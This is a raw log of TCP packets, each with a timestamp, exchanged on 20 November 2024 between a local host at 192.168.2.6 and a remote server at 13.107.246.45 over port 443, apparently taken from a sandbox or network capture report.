Nov 20, 2024 00:19:47.470943928 CET	50052	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.470947981 CET	443	50052	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.473448038 CET	50058	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.473479986 CET	443	50058	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.473547935 CET	50058	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.473737001 CET	50058	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.473752975 CET	443	50058	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.524605989 CET	443	50053	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.525127888 CET	50053	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.525161028 CET	443	50053	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.525540113 CET	50053	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.525546074 CET	443	50053	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.634072065 CET	443	50053	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.634303093 CET	443	50053	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.634428978 CET	50053	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.634480000 CET	50053	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.634480000 CET	50053	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.634496927 CET	443	50053	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.634509087 CET	443	50053	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.636961937 CET	50059	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.637002945 CET	443	50059	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.637073994 CET	50059	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.637268066 CET	50059	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.637284994 CET	443	50059	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.021358013 CET	443	50055	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.027050972 CET	50055	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.027062893 CET	443	50055	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.038271904 CET	50055	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.038291931 CET	443	50055	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.104387045 CET	443	50057	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.110382080 CET	443	50056	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.111776114 CET	50057	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.111834049 CET	443	50057	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.118788004 CET	50057	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.118803024 CET	443	50057	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.122467995 CET	50056	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.122488022 CET	443	50056	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.133249044 CET	50056	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.133260012 CET	443	50056	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.143582106 CET	443	50055	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.143724918 CET	443	50055	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.143811941 CET	50055	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.151108980 CET	50055	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.151133060 CET	443	50055	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.151190996 CET	50055	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.151196957 CET	443	50055	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.168275118 CET	443	50058	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.176938057 CET	50058	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.176959038 CET	443	50058	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.183582067 CET	50058	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.183589935 CET	443	50058	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.190630913 CET	50060	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.190665960 CET	443	50060	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.190747023 CET	50060	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.194003105 CET	50060	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.194017887 CET	443	50060	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.219991922 CET	443	50057	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.220457077 CET	443	50057	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.220550060 CET	50057	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.227590084 CET	50057	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.227590084 CET	50057	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.227632046 CET	443	50057	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.227655888 CET	443	50057	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.234461069 CET	443	50056	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.234616041 CET	443	50056	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.234685898 CET	50056	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.257132053 CET	50061	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.257198095 CET	443	50061	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.257276058 CET	50061	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.257409096 CET	50056	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.257427931 CET	443	50056	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.280776024 CET	50061	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.280800104 CET	443	50061	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.292484045 CET	443	50058	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.292659998 CET	443	50058	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.293232918 CET	50058	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.296094894 CET	50062	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.296116114 CET	443	50062	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.296197891 CET	50062	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.298297882 CET	50062	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.298311949 CET	443	50062	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.298638105 CET	50058	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.298655033 CET	443	50058	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.298671961 CET	50058	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.298677921 CET	443	50058	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.301856041 CET	50063	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.301886082 CET	443	50063	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.301960945 CET	50063	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.302084923 CET	50063	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.302104950 CET	443	50063	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.306121111 CET	443	50059	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.306616068 CET	50059	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.306638002 CET	443	50059	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.307063103 CET	50059	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.307075024 CET	443	50059	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.421909094 CET	443	50059	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.421977043 CET	443	50059	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.422050953 CET	50059	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.422080040 CET	443	50059	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.422168970 CET	50059	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.422290087 CET	50059	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.422291040 CET	50059	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.422334909 CET	443	50059	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.422359943 CET	443	50059	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.424899101 CET	50064	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.424947977 CET	443	50064	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.425102949 CET	50064	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.425286055 CET	50064	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.425317049 CET	443	50064	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.863560915 CET	443	50060	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.864049911 CET	50060	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.864131927 CET	443	50060	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.864509106 CET	50060	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.864522934 CET	443	50060	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.950083017 CET	443	50061	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.950540066 CET	50061	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.950620890 CET	443	50061	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.951086998 CET	50061	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.951100111 CET	443	50061	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.966942072 CET	443	50062	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.968616962 CET	443	50063	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.970627069 CET	443	50060	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.971167088 CET	443	50060	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.971235037 CET	50060	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.972218037 CET	50062	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.972250938 CET	443	50062	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.972718954 CET	50062	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.972726107 CET	443	50062	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.973496914 CET	50063	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.973516941 CET	443	50063	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.974133015 CET	50063	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.974143028 CET	443	50063	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.975554943 CET	50060	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.975585938 CET	443	50060	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.975610971 CET	50060	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.975620031 CET	443	50060	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.991590023 CET	50065	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.991636038 CET	443	50065	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:48.991697073 CET	50065	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.991846085 CET	50065	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:48.991854906 CET	443	50065	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.057897091 CET	443	50061	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.058021069 CET	443	50061	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.058084965 CET	50061	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.058124065 CET	443	50061	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.058151007 CET	443	50061	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.058192015 CET	50061	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.058315039 CET	50061	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.058332920 CET	443	50061	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.058347940 CET	50061	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.058353901 CET	443	50061	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.061306953 CET	50066	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.061351061 CET	443	50066	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.061450958 CET	50066	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.061589956 CET	50066	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.061602116 CET	443	50066	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.073545933 CET	443	50062	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.073659897 CET	443	50062	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.073707104 CET	50062	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.073776960 CET	50062	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.073793888 CET	443	50062	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.073807001 CET	50062	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.073812008 CET	443	50062	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.076085091 CET	50067	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.076133013 CET	443	50067	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.076280117 CET	50067	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.076400042 CET	50067	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.076419115 CET	443	50067	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.079987049 CET	443	50063	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.080065966 CET	443	50063	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.080180883 CET	50063	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.080187082 CET	443	50063	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.080235958 CET	50063	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.080271959 CET	50063	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.080291033 CET	443	50063	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.080305099 CET	50063	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.080312014 CET	443	50063	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.082628965 CET	50068	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.082663059 CET	443	50068	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.082719088 CET	50068	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.082815886 CET	50068	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.082828045 CET	443	50068	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.153115988 CET	443	50064	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.153614998 CET	50064	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.153649092 CET	443	50064	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.154059887 CET	50064	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.154066086 CET	443	50064	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.259671926 CET	443	50064	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.259896994 CET	443	50064	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.259967089 CET	50064	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.260001898 CET	50064	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.260018110 CET	443	50064	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.260030985 CET	50064	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.260036945 CET	443	50064	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.262624025 CET	50069	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.262656927 CET	443	50069	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.262742996 CET	50069	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.262912035 CET	50069	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.262928963 CET	443	50069	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.705307961 CET	443	50065	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.705823898 CET	50065	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.705864906 CET	443	50065	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.706301928 CET	50065	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.706310034 CET	443	50065	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.734237909 CET	443	50066	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.734786034 CET	50066	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.734819889 CET	443	50066	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.735245943 CET	50066	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.735251904 CET	443	50066	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.758399010 CET	443	50067	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.758883953 CET	50067	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.758907080 CET	443	50067	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.758944035 CET	443	50068	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.759255886 CET	50068	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.759290934 CET	443	50068	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.759386063 CET	50067	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.759392023 CET	443	50067	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.759727001 CET	50068	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.759733915 CET	443	50068	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.818109035 CET	443	50065	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.819468975 CET	443	50065	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.819533110 CET	50065	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.819626093 CET	50065	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.819647074 CET	443	50065	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.819659948 CET	50065	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.819667101 CET	443	50065	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.822422028 CET	50070	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.822458982 CET	443	50070	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.822547913 CET	50070	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.822721958 CET	50070	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.822730064 CET	443	50070	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.842269897 CET	443	50066	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.843029976 CET	443	50066	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.843158960 CET	50066	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.843188047 CET	50066	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.843206882 CET	443	50066	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.843219042 CET	50066	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.843225956 CET	443	50066	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.845949888 CET	50071	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.845997095 CET	443	50071	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.846105099 CET	50071	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.846282959 CET	50071	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.846297026 CET	443	50071	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.867029905 CET	443	50068	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.867429972 CET	443	50068	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.867492914 CET	50068	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.867528915 CET	50068	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.867528915 CET	50068	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.867542982 CET	443	50068	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.867553949 CET	443	50068	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.870254040 CET	50072	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.870290995 CET	443	50072	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.870397091 CET	50072	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.870500088 CET	443	50067	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.870589972 CET	50072	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.870605946 CET	443	50072	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.870672941 CET	443	50067	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.870708942 CET	443	50067	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.870740891 CET	50067	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.870790958 CET	50067	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.870815992 CET	50067	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.870836973 CET	443	50067	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.870853901 CET	50067	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.870860100 CET	443	50067	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.872852087 CET	50073	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.872921944 CET	443	50073	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.873157978 CET	50073	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.873275995 CET	50073	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.873307943 CET	443	50073	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.960495949 CET	443	50069	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.960979939 CET	50069	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.961007118 CET	443	50069	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:49.961528063 CET	50069	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:49.961533070 CET	443	50069	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.072376966 CET	443	50069	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.072613001 CET	443	50069	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.072681904 CET	50069	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.072702885 CET	50069	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.072715044 CET	443	50069	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.072722912 CET	50069	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.072726965 CET	443	50069	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.075438976 CET	50074	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.075468063 CET	443	50074	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.075644970 CET	50074	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.075753927 CET	50074	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.075762987 CET	443	50074	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.489831924 CET	443	50070	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.490566969 CET	50070	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.490585089 CET	443	50070	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.491924047 CET	50070	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.491930962 CET	443	50070	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.519917011 CET	443	50071	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.520564079 CET	50071	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.520576954 CET	443	50071	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.521094084 CET	50071	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.521100044 CET	443	50071	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.567672968 CET	443	50073	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.568120003 CET	50073	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.568172932 CET	443	50073	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.568629980 CET	50073	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.568644047 CET	443	50073	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.581724882 CET	443	50072	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.582309961 CET	50072	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.582324028 CET	443	50072	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.583014965 CET	50072	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.583024979 CET	443	50072	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.597656965 CET	443	50070	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.597692966 CET	443	50070	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.597779036 CET	443	50070	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.597790956 CET	50070	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.598189116 CET	50070	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.627974987 CET	443	50071	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.628129959 CET	443	50071	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.628253937 CET	50071	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.633224964 CET	50070	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.633263111 CET	443	50070	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.633291006 CET	50070	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.633308887 CET	443	50070	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.634453058 CET	50071	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.634453058 CET	50071	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.634531975 CET	443	50071	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.634565115 CET	443	50071	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.676379919 CET	443	50073	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.676398039 CET	443	50073	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.676513910 CET	50073	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.676542997 CET	443	50073	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.676559925 CET	443	50073	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.676609993 CET	50073	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.694010973 CET	50073	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.694051981 CET	443	50073	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.694086075 CET	50073	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.694094896 CET	443	50073	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.696274042 CET	50075	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.696321011 CET	443	50075	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.696530104 CET	50075	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.697432041 CET	50076	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.697468996 CET	443	50076	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.697572947 CET	50076	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.698034048 CET	50075	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.698069096 CET	443	50075	13.107.246.45	192.168.2.6
